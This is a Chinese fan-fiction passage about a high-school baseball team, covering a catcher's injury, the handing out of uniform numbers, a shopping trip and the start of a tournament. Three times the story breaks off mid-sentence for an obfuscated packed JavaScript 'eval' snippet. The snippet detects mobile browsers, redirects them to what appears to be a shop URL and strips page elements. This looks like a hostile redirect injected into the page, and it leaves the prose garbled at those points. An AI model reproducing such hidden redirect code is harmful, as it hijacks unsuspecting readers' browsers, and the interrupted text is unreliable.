柴崎看着克里斯的反应微微勾起嘴角。 连一年级新生都能注意到的问题,已经和克里斯成为了两年搭档的他,怎么会没有发现呢。但克里斯看着亲切包容,实际上有着难以跨越的自尊心与距离感,令他不知该如何开口。 “相信我们,也相信他们一点吧。” 克里斯:“……” 原来他的担忧竟被许多人看在眼中吗?是他太过自我,竟忘记了曾经自己说过的话。 柴崎望望白鸟、御幸又望望克里斯:“有这么多可靠的后辈,我真的感觉很安心。我知道我的投球技术达不到要求带给了青道这个队伍很多压力,尤其是克里斯你,能走到如今都是我不敢想的事情。” “不!柴崎前辈的投球很优秀的。”克里斯急忙反驳。 柴崎笑笑:“克里斯,无论是我还是东都希望你能多放松放松,把肩上的担子多分出一些,多考虑一下自己,大家其实都很感谢你带给了我们这么多的希望。” 克里斯喉咙里宛如塞进了棉花,心口闷得慌:“我……” 眼眶有些泛红,他想起昨晚和白鸟的对话,想起自己对未来的希冀,想起医生的话,复又坚定下来。 “我明白了。” 13. 觉悟 “所以克里斯前辈被监督勒令回家修养治疗去了?”白鸟看着空空荡荡的宿舍喃喃发问。 他十分愧疚,明明和克里斯前辈住在一起,明明察觉到了些微的异样却没想到居然是这么严重的事情。 据说是克里斯主动找监督坦白了,监督都顾不上生气,立刻带着克里斯去了医院。 御幸忧愁地点点头:“没错,我就说嘛,肯定有什么不对劲。” 本来他选择青道的原因之一就是为了近距离学习克里斯前辈,然后超越他。结果克里斯前辈居然受伤了。 伤病——是体育选手最害怕的事情,严重的甚至会再也无法继续职业生涯。 “还好及时停止了训练,听医生讲,再拖延就可能严重到以后再也不能打棒球了。” 不能再打棒球。 屋子里顿时噤若寒蝉。对于这群热爱着棒球的少年来说,这是无法想象的残酷现实。 红白赛后,还能坚持训练的一年级新生们已经组成了自己的圈子,因为白鸟的宿舍目前只剩下他一个,所以此刻他们都聚集在白鸟的宿舍里。 克里斯作为球队里的正捕手,同时也是最受欢迎的前辈,出了这种大事,棒球社全体上下都很震惊迷茫。 几个一年级商量了一下,就跑来询问在一军的御幸和白鸟了。 奈何二人知道的也不多。 如果按图索骥自然能找出些许破绽,但克里斯其实掩饰的相当好。偶尔白鸟能在宿舍闻到药味,但这其实很正常,因为他自己也常为守备的磕磕碰碰在身上贴膏药。 “不知道回来时能不能赶上夏季大赛……” 在少年们的担忧下,克里斯被父亲接走,送往了美国接受更专业的治疗。 他坐在飞机上,忧郁地望着窗外。在知道他隐瞒伤势后父亲焦急地寻访了名医,在得知状况虽然严重,但尚且没有造成不可挽回的后果后,他积聚的怒气终于爆发,找到监督大发雷霆。 克里斯努力制止了父亲,表示是他自己自作主张。可没有及时关注到选手的健康,确实是监督失职。 父亲甚至想直接给他转学,但在他的坚持下放弃了。无论变成什么样,选择在哪里开始哪里结束都是他的自由。 想到青道的同伴们,克里斯温柔又坚定地笑了。他的同伴们毫无迷茫地信任着他,他也一定会信任他们,相信他即使暂时掉队,也能重返战场;相信他们即使他暂时离去,他们也能一往无前。 *** 时间如樱枝上的花朵开了又败。自红白赛、西邦练习赛后,白鸟京算是在青道的OB中彻底打响了名号。 那一战安抚了因克里斯暂时离队而不安的粉丝们。新上场的一年级投捕发挥出色,打线也愈发神勇,他们似乎是想以此表现告诉那些唱衰的声音,青道还是那个青道,他们绝不会辜负克里斯的付出。 一切看上去欣欣向荣。 “一垒安打!” 在垒指的帮助下,白鸟摘下打击帽和手套等装备,汗津津的感觉有些不好受,他甩了下湿漉漉的头发戴上棒球帽。 三垒上的东清国看了一垒的白鸟京一眼,而后转头看正在往打击区走的7棒坂井一郎。他见对上了视线,果断凶狠地瞪大了眼睛,眼神无声诉说着:如果连学弟都比不过,打不出去无法送我回本垒的话,看我之后怎么收拾你。 坂井无语地扯了扯嘴角,但站在打击区后还是绷紧了神经,东“说”的没错,可不能输给一年级的家伙啊! 意识到身后有着穷追猛赶的后辈,前辈们都有着相当大的压力,压力化作动力驱策着他们前进。 看着这些前辈,赛场上的白鸟回想起克里斯前辈离开时单独和他说的话。 “白鸟,我明白你现在还不信任大家。初来乍到进入一个新的队伍,这是很正常的情况。” “我曾经自大的认为,这只球队离开我就无法获胜。可我却完全忘记了,在胜利之外,还有别的东西。” “如果一定要牺牲未来才能迎来胜利,这一定不会是大家想要的胜利。是他们让我明白了这个道理。” “棒球是投手投出球后才开始的一项运动,可获胜却是所有人的事。” “试着去信任他们吧,他们是最好的。”说起这些的克里斯前辈眼睛在闪闪发光。 没想到克里斯前辈居然看出了他心中的犹疑,且没有强硬地要求他改变,而是相信他会在队伍中感受到其他人的关怀而自行变化,他真的是个很好的前辈。 克里斯前辈一定很喜欢大家,白鸟看着场内的队友们心中肯定。 等回到休息区时,迎来的是大家的欢呼和一只只摸过来拍过去的手掌。 “打得好!” “做的真不错啊!” 白鸟在这些称赞中脸颊红红、晕乎乎地坐在椅子上,他笑着接过御幸接递来的水:“真不可思议,原来被喜欢,被需要的感觉比我想象中还要好这么多。” 御幸拍了拍白鸟的肩膀以示鼓励:“以后还会有更多的。” 克里斯前辈离开前不仅找过白鸟,也找了他和队伍中的核心球员,他告诉他们:白鸟是个需要肯定的孩子,希望他们积极去鼓励他。 前辈们虽有不理解,但是依着对克里斯的信任,他们也不讨厌白鸟,自然没什么不愿意的。有了带头人,在如何对待白鸟的问题上,轻易就定了性。 御幸很佩服克里斯在球队中的威信。 克里斯并不是球队中年级最高的,但是三年级的前辈们也愿意听他说话。 这种信任只能在一场场比赛中获得,就像克里斯前辈在牛棚中说的那样,只有时间与汗水能磨砺体格,也只有时间与赛场能积累信任和默契。 所以御幸其实也很渴望上场,想要和主力培养默契。可惜以克里斯受伤为前提得到的上场率却并不是他想要的,他是想超过克里斯前辈,却不是想在这种情况下。 但既然事情已经发生了,御幸也不会说因此止步不前,他的目标向来明确。 和克里斯的靠着缜密的资料对付打者,配球风格稳健如山不同,御幸则比较喜欢预测打者的心理,配球风格强势又天马行空,他们两人是不同类型的天才捕手,片冈监督对此心知肚明。 但无论什么样的天才,都需要许许多多的比赛实践经验来成长。 所以白鸟与御幸这对年轻的天才投捕组合在增多的练习赛中获得了不少上场的机会。 这场练习赛,白鸟作为先发投手,投了5局后下场。比赛以1:8结束比赛,是青道的胜利。 对方学校的监督和片冈监督握手时感慨道:“当时知道克里斯受伤后,我还以为今年的夏甲青道没戏了,没想到你又得到两个好苗子啊!” 片冈监督礼貌地笑了笑:“侥幸而已。” 关东大赛就在大家紧张的磨合中即将来临,而关东大赛之后就是最重要的夏甲预选赛了。 不知道克里斯前辈的伤,能不能赶上夏甲。御幸有些担忧。 捕手是守备的指挥使,他们不仅要熟悉投手,还要熟悉各个位置的守备人员。 所以御幸最近一直在和一军的各个投手进行投捕练习,白鸟也和一军的其他捕手搭档过。 “所以白鸟你已经和队里所有的捕手搭档过了吧,你更喜欢哪个捕手?我觉得是克里斯前辈!” “御幸你呢,更喜欢哪个投手?”仓持看热闹不嫌事大地问道。 旁边趴在桌上的御幸无语地撇嘴:“你是八卦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674046|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少女吗?” 仓持额角跳了跳:“需要我一脚送你去当JK吗?绝对快准狠。” 白鸟扑哧一声笑了出来。 “白鸟你还笑,仓持这个暴力狂在威胁我哎,我变成JK的话,你就要失去我这个优秀的搭档了!”御幸拍拍桌子表示不满。 白鸟笑眯眯道:“御幸就算成为JK,也会是女子棒球里最优秀的捕手的。” 御幸被噎住了,在仓持哈哈大笑的背景里眼神幽怨地看着白鸟,嘴角却忍不住勾起一抹笑意,这家伙渐渐变活泼了啊。 “下个星期就是关东大赛了,监督最近要发背号了吧?一军超过20人的意思是会有人降到二军吗?”仓持笑完之后,有些担忧地问道。 “都有可能吧。”御幸挠了挠头发。 “你们可小心点,别丢我们一年级的脸。”仓持虽然这么说,却也不认为这两人会拿不到背号。仓持在来到青道之前刚遭遇了重创,一度陷入迷茫,可周围人努力的样子,对棒球极度执着认真的样子点醒了他。 青道的家伙都是棒球笨蛋么!然后他也轻松成为了笨蛋中的一员。 也正因如此,他比御幸更早地看清了白鸟的踌躇。 和御幸发现就要解决的性格不同,仓持一直在给予白鸟别扭又坚定的支持,而白鸟在一军的练习完成后,经常来二军找他帮助他练习挥棒,甚至主动喂球帮他做打击练习。 也是如此,他才发现国中的那些所谓的朋友究竟有多虚伪,永远说的好听,却一直在利用他。 虽然白鸟棒球实力强大,但仓持从不认为强大的人做到什么都是应该的,强大的人就不能软弱。人又不是棒球组成的,哪怕棒球确实的占据他们生命的一大半,仓持对此再清楚不过了。 白鸟的视线倾注在仓持身上,他能看见一点不甘和全然的祝福。那点不甘是对他自己的,对自己未能跟上好友们的步伐。 心音由轻而重地响在耳边。 从前他并不想在乎输赢,也不想在乎比赛,赛场上的大半事物之于他都是煎熬。但御幸告诉他要积极去夺取胜利,仓持告诉他要坚定信念去前进,克里斯前辈告诉他要去信任大家。 这里确实是一个非常好的队伍,他拥有了非常好的队友,杂草丛生的道路变得如同天空般干净湛蓝。 他开始渐渐明白,站在那个投手丘时需要背负的觉悟。 “掌心球果然不是那么好学的啊。”御幸站起身活动了几下腿部,他是没想到克里斯前辈居然会建议白鸟学习掌心球的,但是一旦把它放进选择中,御幸一下子就心动了,他有点不甘心地承认,克里斯前辈果然还是比他厉害。 白鸟看着自己的手掌。掌心球的标准握法是三指深渊式,需要球体完全嵌入掌心,拇指与小指在球底互抵形成托架,另外三根手指则轻轻搭在球顶不能用力,释放时需要手掌前推而非手指拨球,为的就是减少旋转。 他在脑内再次过了一遍要点,深呼吸几次让自己冷静下来,然后对御幸道:“再来几次吧。” “好。”御幸没有多言,他相信白鸟。 白鸟看着本垒处的手套,深吸一口气,掌心锁住棒球,抬腿甩臂的一瞬间,他努力放松手指用掌心将棒球推了出去。 御幸的眼睛紧紧锁住棒球,棒球普一离开白鸟的手飞行了几米,他便眼前一亮,好像不同了! 这次没有手指施力,棒球在空中飞行时转速很低,接近本垒时,棒球剧烈失速下坠,御幸做好准备稳稳接住。 “好,成功了!”捕手兴奋地站起将球扔回给白鸟,“快趁着手感还在,多投几球!” 白鸟也兴奋地点点头,他以为还要磨不少时间,没想到这就成功了,要赶紧让身体记住这个感觉! 14. 背号与日常 临近关东大赛,某天早晨训练结束后,片冈监督将一军叫到了室内训练室。 大家都有所预料,安静地站成方阵。 片冈看着面前的少年们,看着他们因为艰苦练习而拥有的体魄与坚毅的眼神,实际上加入高中棒球部后能实际打球的时间只有两年半,很多人拼命努力,跟着正选们经历相同的训练,可能直到毕业都一场正赛都没上过场。 就算如此,青道棒球部也维持着几近百人的规模。 百分之九,这个数字背后是一届接着一届,许许多多的少年们无法实现的梦想。 “现在开始发放背号!叫到名字的人上前来领取!” “1号!” 柴崎紧张地吞了吞口水,虽然知道大概率王牌背号还是他,但是白鸟作为出色的后辈实在给了他很大压力,令他无法不紧张。 “柴崎翔一!” 柴崎向前一步接过背号。监督似乎看出了他的想法开口道:“不用怀疑,你的投球带领大家获得了很多胜利,保持坚定,为后继者做好榜样吧!” 柴崎激动地点点头,感动地看着监督,他绝对不会让如此信任自己的监督失望:“是!” “2号捕手,增田刚!” 增田是三年级的捕手,在克里斯进入一军替代他成为正捕手后他很是失落了一阵,但实力的差距让他渐渐释怀,作为替补捕手为球队效力也是一样。 克里斯受伤后,增田重新成为正捕手的概率极高,但……他无法不关注御幸一也这个冉冉升起的新星,就像柴崎无法不注意白鸟一样。 他知道监督让自己现在拿2号只是因为御幸还未和球队磨合好,等关东大赛结束,这个2号一定是御幸的吧,他心中倒是没有多少不甘,他早在克里斯超过他时就明白了自己的上限。 增田走上前坚定地拿起2号的背号。 无论如何,作为现在球队的正捕手,他一定会竭尽全力让球队走得更远,克里斯一定也是这么想的,所以才…… “3号一垒手,结成哲也!” “4号二垒手,小凑亮介!” “5号三垒手,东清国!” “……” “11号投手,白鸟京!”白鸟从队列里踏出一步,伸手接过经理们手缝的背号。 他从中感受到了沉甸甸的期待,抬眸望向监督时,片冈监督的墨镜挡住了所有眼神的交汇。 “相信自己,我期待着你给球队带来新的荣光。” 手中的背号,让白鸟已经是青道棒球队一员的现实变得更加明确,他沉声应是。 队伍中的丹波光一郎面对这个预料之中的结果,心中的酸涩渐渐放下,虽然不甘心自己被学弟超过,但青道是强者上的学校,他要做的是加倍努力! “12号捕手,御幸一也!” 回到队伍的白鸟和御幸交换了一个眼神。御幸走上前接过背号,片冈监督拍了拍御幸的肩膀,克里斯离开后虽然正捕手还是增田,但这只是需要给御幸一个过渡的时间,后面捕手的重担免不了还是要压在他身上。 “……” 背号的分发结束后,紧张的氛围消散了很多,少年们聚集在一起聊着天。 “喂!要加油啊!”伊佐敷纯前辈走过来拍了拍白鸟的背,眼神相当复杂。 因着食堂里的相处,白鸟对其也已经不再陌生,他微笑着点点头。 “阿纯是因为火球手梦碎所以总是非常关注白鸟吗?”旁边粉色头发,总是笑眯眯的小凑亮介前辈笑着说出了非常扎心的话。 “什么?!”伊佐敷大叫一声,恼羞地举起拳头,“我才没有!” “伊佐敷前辈原来当过投手吗?为什么不当了?”御幸颇为感兴趣地问道。 “哼。”伊佐敷冷哼一声。 “因为这家伙空有球速完全没有控球啊。”小凑又笑眯眯地又扎了伊佐敷一刀。 伊佐敷嘴角额角都在抽搐:“你究竟是在因为终于拿到正选背号在高兴还是在生气,为什么一直在损我?” “呵呵。”小凑意味不明地笑笑。 “总之!”伊佐敷找回自己的步调,“虽然你们已经打过几场练习赛了,但是正赛是完全不同的!” “观众、应援、声音、天气……各种各样奇奇怪怪的压力都会影响你的发挥。”伊佐敷认真地说道,小凑也不再说话和他一起注视着面前年轻的投捕。 “做好准备,面对新世界吧。努力不会骗人,你平时训练的点点滴滴,都会化作比赛时的力量,相信你自己。” 伊佐敷伸手,白鸟以为他要拍自己的肩膀,没想到却被揉了揉头发,他吃惊地看着伊佐敷前辈和小凑前辈离开的背影,抬手摸了摸自己被摸的头发。 “……” “哇哦~面对新世界,相信你自己~纯你的漫画看的很有用啊,激励学弟的话真不错。” “不过你最近的打击数据怎么样了?可别后辈上去你下去了。”离开后辈们的视野后,小凑挑眉调笑道。 “吵死了!”伊佐敷气冲冲地说道:“作为前辈我才不想输给他们!” *** “听说没有,那个新人投手拿到了11号的背号,比丹波还要高。” “什么?凭什么啊他,不就是球速高吗?正赛一场没上过,国中也没有实绩,不就练习赛登板了几次,监督怎么敢这么相信他的?” 也不是所有人都心甘情愿接受了白鸟京的存在,总有那么一小撮人,在背地里议论纷纷。不过这都影响不到白鸟即将穿着11号球服,背负着大部分人的期待,登上关东大赛的舞台。 赛程发布下来后,第一场是和栃木县的老牌强校岚樱高校的比赛。为了稳妥,监督派上了主力阵容,打算让新人们先在板凳席熟悉一下正赛的氛围。 “尽管如此,你们也不要认为可以放松,要多看、多思。尤其是白鸟,如果比分允许我会让你作为这次比赛的关门投手上场。” 片冈监督墨镜下的眼睛看向白鸟京,白鸟迅速站起应声:“是!” 关东大赛前一天,监督早早让主力们休息了,为了保证第二天的正赛拥有充足的体力,除了教练们要求的训练,不允许他们私下里偷偷加训。 白鸟将棒球装备放回宿舍保养好后,第一次感觉自己这么早就开始无所事事,战术暗号早就和增田前辈讨论过了。 想领份记分册看看,也被经理们回绝了。 “白鸟君,监督特意交代过了,这半天你们就好好休息吧。” 正当他发着呆时,御幸找了过来。 “呦,白鸟!”他穿着一身黑白色的运动服,带着平常的黑框眼镜。因为肩宽腿长所以普通的运动服穿在他身上也显得格外帅气。 这还是白鸟第一次见御幸穿常服,他歪了下头:“御幸是要出去吗?” “是啊,有些东西要买,已经和监督报备过了。白鸟要一起吗?”御幸龇牙笑,他一手插兜,一手转了转勾在指头上的钥匙。 “好,我正不知道要干什么呢。” “那我先回去换个衣服,再和监督报备一下。”白鸟开心地笑着转身朝着宿舍跑去,颇有点迫不及待的样子。 御幸在后面喊了声:“慢点跑,别摔了,明天可能还要上场呢。” “我知道——”白鸟拉长声音,笑眯眯地跑回宿舍,开始翻自己带来的常服。因为住在学校,不是训练服、棒球服就是校服,常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674047|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服都被压箱底了,他找了一下才翻出来几件。 一件薄的淡蓝色的衬衫、一件深灰色的针织背心和一条深色牛仔裤,穿好后发现有点热,懒得再换就把袖子挽了起来。 宿舍里没有镜子,白鸟拿着毛巾梳子跑去公共洗漱的地方,期间遇见了几个人,面对他们的调侃,白鸟脸上的笑容也没有消失。 他面对镜子快速整理了一下,确保自己的脸和头发没有什么问题。 白鸟把宿舍钥匙和钱包放进挎包里背上,找到正坐在长椅上等待的御幸,像只小狗一样眼睛亮晶晶地看着御幸,也不说话,但是眼中的期待都快溢出来了。 他真的很久很久没有和朋友一起出门玩过了。 御幸失笑,站起身揽住白鸟的肩膀:“走吧,先陪你去找监督报备。” 报备完后,两人走出校园。 这还是开学后第一次出门闲逛,名门棒球部的部活宛如军队训练,严格非常。住宿生更是几乎一门心思泡在学校里,上次酸奶也是仓持和舍友增子前辈出门买布丁时一起带的。 青道在西东京,学校附近倒是有超市,但是御幸的目的地显然并不在此,他带着白鸟跑去坐了巴士。 “御幸要去哪?”白鸟看着车窗外疾驰而过的风景,路上行人还是挺多的,春天是很适合踏青散步的季节,温度湿度都十分宜人。 虽然大片的樱花让花粉过敏的人非常困扰,但日本的过敏药物和口罩行业都因此挺发达的。 御幸也在饶有兴致地看着窗外,闻言狡黠地笑了:“白鸟都不知道我要去哪,就决定陪我出来了?” 白鸟理所当然道:“比起去哪里,能和御幸一起出来玩才是我的目的啊。” 御幸被这一发直球打得猝不及防,撑着下巴的手都差点滑下来,他保持着看窗外的姿势“嘶——”了一声。 引来了白鸟关切的目光:“怎么了?” “没什么,咳。我们要去的地方是东京市区一家棒球用品店,我需要再买一点保养手套的工具和打击手套。”御幸不甚高明地转移了话题。因为训练量的明显增高,之前买的东西明显不够用了,打击手套也最好再备一双。 白鸟的思绪跟着御幸的话想起自己的存货:“那我也买点保养手套的东西好了,还有护理手的护甲油和酸奶。” “酸奶……”御幸忍不住笑了,“确实好几天没看你喝过了,就这么喜欢那个牌子的吗?学校自动售货机里不也有酸奶吗?” 白鸟说到自己喜欢的酸奶,顿时严肃地摇摇头:“完全不一样!” “无论是口感、甜度还是配料表,都是它更好!” “但是一直喝的话,不会腻吗?”御幸好奇地问道,他就没有什么会一直喝或者一直吃的喜好,除了棒球,其他东西很难让他长久喜欢下去。 白鸟眨眨眼睛:“不会啊。” “我有时也会尝试新的事物,但是喜欢的东西只要它没有改变就会一直喜欢。” 御幸感叹:“白鸟是个很执着的人呢。” 白鸟微微侧头看向窗外的天空,他像是注视着天空,也像是眼中本就蕴藏着天空。 “注视天空时,我想着,不论这这世上的生命如何轮转变化,头顶上的这片天空总是亘古不变。” “因为星星的生命比人更久远,出生、老去直到永远闭上双眼,那轮太阳总会升起。这么想着,我就会很安心。” 他说着,脸颊的酒窝慢慢加深:“虽然如此,但是我最近却觉得改变也不错。” “为什么?” 白鸟回眸望着御幸,金色的眼睛比窗外的阳光还要明媚,他眯起眼睛笑得狡黠:“秘密。” “哇——狡猾!” 15. 狭山茶 东京市区十分繁华,人流如织,各色潮流元素碰撞让其显得格外喧嚣热闹。 御幸和白鸟长久泡在棒球世界,一出门就跑到市中心,两人还真有点不适应。 找到店一头扎进去后,入目皆是棒球用品,熟悉的感觉顿时涌了上来,驱散了莫名的压力。 “呼——以后还是要时不时出来一下啊,要不然走在街上感觉被时代抛弃了。”御幸拍拍胸口。 白鸟默默点头。刚刚在街上时还被漂亮的女孩子们拦住搭讪了,御幸完全派不上用场,只会在旁边看热闹,还是他搬出自己未成年的身份才得以脱身。 这种时候就算是他也会怨念啊。 白鸟盯着御幸的背影,直到御幸感觉再不安抚一下自家投手,怕是背都要被盯穿了,才哈哈哈的尬笑着说到:“被美女们搭讪不好吗?” “。”白鸟无语。 两人拌了下嘴,紧接着就投进了棒球用品的汪洋大海里。 “这个我觉得很不错……” “我一直是用的这个,这个手套……” 两人交流着,互相分享了自己的爱用物,最后去结账的时候买的东西完全超过了预期要买的数量。 棒球用品之后白鸟兴冲冲地带着御幸进了一家连锁超市,然后直奔零食区。 “买点薯片吧,大家有时候会来我的宿舍玩,还有这个、这个!。”白鸟往超市的推车里开始kuku塞。 “不是来买酸奶的吗?”御幸慢悠悠地推车跟着,随口吐槽道。 白鸟正蹲着挑选购物架下排的饼干:“难得出来一趟,想给大家都买点零食,御幸喜欢吃什么?” 御幸挠了挠头:“我可以自己买啦。” 白鸟的金眼睛望了过来:“我想给御幸买。” 他明明也没用那种小狗一样可怜的眼神看自己,可御幸却一下子妥协了:“好吧。” 他看了看货架,拿起一包海苔盐味的薯片:“就这个吧。” 白鸟瞅着又在货架上拿了两包一样的放进推车里:“我也尝尝。” 到了冷藏区后,就是熟悉的酸奶环节,白鸟直接抱了六盒酸奶放进推车,然后又拿了六个布丁。 御幸了然:“借冰箱的手续费。” 白鸟不好意思地摸了下推车金属的边框:“我发LINE问过克里斯前辈了,等关东赛事结束,就准备也在自己宿舍装一个冰箱,到时候就不用再麻烦增子前辈了。” 出超市门时,白鸟手里拎着一大包零食和一把普通的透明伞,御幸本来想帮他拎,但白鸟以这点重量小意思拒绝了。 “结果那个偷伞的人到今天也没被找到啊。”御幸看着那把伞。 白鸟摇头:“很正常,那边也没有监控。” 两人朝着巴士站前进,期间路过一间和果子店,能开在东京市中心的和果子店自然不是什么普通的店,起码看装修就知道里面东西一定很贵。 白鸟似乎看见了什么,他一下子停了下来,对着御幸匆匆说了句:“等我一下。”就跑了进去。 出来时,他空着的另一只手上拿着一个被漂亮的织锦布料包裹的盒子。 御幸打眼一看,这布料竟然都是西阵织的工艺,上面织着繁复精致的云鹤图案,在阳光下泛着贝母般的彩光。 白鸟主动开口介绍道:“是狭山茶做的茶点,我在京都的「鹤屋」吃过,很好吃的,没想到在里也有,我买了一点,回去后和大家一起尝尝吧。” 御幸作为东京人,自然也知道埼玉县的狭山茶。 “色在静冈,香在宇治,味在狭山。”狭山茶的色香虽比不上另外两种名茶,味道却更胜一筹,有着十分浓郁的烘焙香味,大多用来直接泡饮,作点心还是宇治抹茶居多。 虽然知道白鸟估计家境不错,但随手就能买这种店里高级和果子,还是礼盒装,多少有点出乎他的意料。 白鸟一看就知道御幸在想什么:“因为我不怎么回家,也不怎么出门购物,攒了很多零花钱。” “这种东西一起吃才好吃,我一个人可吃不了这么多。”他看着手上的和果子,脸上挂着怀念的微笑。 带着战利品回到青心寮后,两人得到了热烈欢迎,尤其是白鸟京,大包零食简直就是赛前最好的安慰品。 白鸟偷偷打开了那包和果子,拿掉了那些看上去就昂贵的包装,看上去就是普通的和果子点心。 他先给御幸拿了一个,然后分给了大家,棒球少年们自然也不会喝茶来搭配和果子,喝着白开水和饮料就分食了那盘点心。 御幸虽然不挑食但是对于甜食其实观感一般,不过茶味点心应该不甜吧,他咬了一口。果然,入口之后大多都是茶叶的清香和面点特有的大米香,嚼了几下才开始回味出一点清淡的甜味。 御幸不仅不讨厌,甚至觉得味道不错,不愧是贵价点心,他点评道。再看其余人狼吞虎咽的样子,真是牛嚼牡丹。 被热闹的环境包围的白鸟也咬了一口和果子,和很久之前吃的那个味道自然不太一样,回忆会给物品添加很多修饰。 但是新的记忆又覆盖了上来,让手中的点心染上了新的味道。 生活就是这样,比起不变的,改变的要更多,曾经的白鸟固执抱守着不变的那些,现在却也开始觉得改变也不错。 *** 随着夏天的步伐渐近,宛如花瓣般柔软的春天缓缓增添了一抹炽热的气息,这气息盘旋在赛场上,缭绕在少年们的心中。 神宫球场关东大赛的开场赛是帝东高中和白龙高中,两个甲子园强校实力强劲给观众提供了一场极具观赏性的精彩比赛。 青道高中和岚樱高校的比赛虽在下午,但他们也来到了赛场观看帝东和白龙的比赛。 跟着教练们的脚步他们走上看台,观众席上的人比想象中多。 “因为这两个学校都是甲子园的常客,看他们比赛就像提前目睹了夏甲的比赛一样吧。”三年级的游击手村田光趴在栏杆上,慢悠悠地说道。 村田前辈作为游击手在练习和比赛时分外敏捷,但是平时就懒洋洋的,按他的话说就是:“我要把所有的精力集中放到赛场上再用。” 东清国冷哼,抱臂看着场上正在热身的两队,他们并不会因为没进过甲子园就觉得自己比对方弱,关东大赛和神宫大会这种大赛通常能遇见甲子园的队伍,青道也不是没击败过他们。 胜利是最好的祛魅方式。 只能说西东京拥有稻实、青道、市大三这三所学校,确实是死亡赛区,这三所学校,任何一所都拥有甲子园实力,可惜面对更加完整的其他两个学校,青道的木桶板确实有一节短了。 “白龙高中是个脚程很快的学校,他们的队员据说垒间跑速很快,在执行战术方面相当出色。”克里斯不在后,尽职尽责为新人做介绍的就变成了增田。 “帝东则是个老牌劲旅,成员的水平都很高,有着铜墙铁壁般的防守和强力的击球水准。” 增田感受着场内热闹的气氛和嘈杂的人声,刻意观察了一下小学弟们有没有紧张,尤其是今天可能会上场的白鸟。 那张池面脸依旧看不见什么大的情绪起伏,眼睛扫视着场内,尤其是白龙高校的位置,像是在找什么人。 “白龙有认识的人吗?”御幸直接问道,他眼珠一转,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674048|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变高,“啊,白龙和白鸟,名字很搭哎,难道白鸟之前想去的是白龙吗?” 他在开玩笑,没想到白鸟却点了头。 这下明里暗里关注着这边的学长们坐不住了。 “喂!比起白龙还是青道更好吧!”伊佐敷大声质问,他恶狠狠地看着白鸟,像是如果得到否定的回答,就要给他点颜色看看一样。 白鸟一听有些奇怪地转头看向伊佐敷:“当然伊佐敷前辈,我现在正在青道的队伍里啊。” 伊佐敷一滞,连带着听见这句话的所有青道前辈们都是一震,然后看向白鸟的目光都变得截然不同了。 还以为是个腼腆又不合群的家伙,结果说出了这种话,还一脸理所当然。 “你这家伙……”伊佐敷呐呐不言,脸色涨红。 “没错没错!说得好哈哈哈哈!”东清国仰天大笑,用力地拍着白鸟的背,表达着自己对白鸟这番话的喜爱。 御幸偷笑,没错没错,这家伙就是这样,有时候总能一脸单纯地说出了不得的话,总算不止是他一个被“迫害”了。 白鸟被东清国拍的背痛,好在东清国对自己的手劲有数,拍了几下很快放轻了力道。 东清国眼神炽热地看着场内:“不管什么比赛,都赢下来吧,练习赛也好,关东大赛也好,甲子园预选赛也好!就这样一路赢下去!直到登临那个梦想之地。” “不要辜负克里斯,也不要辜负自己的努力!”身为队长的东清国环顾了一圈队友们的眼神,咧嘴笑得凶狠。 “是!” 高岛礼推了推眼镜,看向旁边的片冈监督,她笑得有些欣慰:“部员们都很有干劲呢。” 片冈铁心双手抱臂,目光沉稳地注视着场上斗志昂扬的队员们,微微点头:“嗯,他们比我想象的更加坚韧。” 高岛礼的镜片反射着天空的云卷云舒,语气中带着一丝感慨:“尤其是东君,自克里斯受伤事件之后,他身为队长的责任感变得更得强了,这件事让他成长了不少。” 片冈监督沉默片刻,低沉的声音中透着一丝坚定:“正因如此,我们更不能辜负他们的努力。” “没错。”高岛礼看着这些孩子,感觉自己也开始跟着他们变得热血沸腾了。 御幸和白鸟,一个是自己很早就看好的才情出众的捕手,一个是天降紫薇星般突然入学青道的天才投手。 拥有他们这对防守核心,加上千锤百炼的强棒们,让她对青道的未来充满期待。 白鸟看着白龙高校的方向。美马哥,你在那边吗?虽然没能和你进入同一个学校有点遗憾,但是选择青道是我做过最不后悔的一个决定,如今我也能肯定的对你这样说了。 “所以,确实是有认识人在白龙高校?”御幸轻声问道,这次没有刻意再让前辈们听见。 “嗯,”白鸟点头,“以前认识的一个朋友,他的跑垒速度和仓持一样非常快,而且打击也很了不得,是个很厉害的选手。” “如果他也进入了白龙高校的一军,这次比赛,说不定就能在赛场上见到了。”白鸟想到这里,眼神变得炽热了许多。 御幸挑眉跟着看向白龙的方向:“今天可能要上场,你倒是一点都不紧张,已经开始去想之后的比赛了吗?” 白鸟面色一红,急忙道:“我没有不尊重岚樱高校的意思,不如说正赛第一场能和名字和春天一样的学校对决,我还挺开心的。” 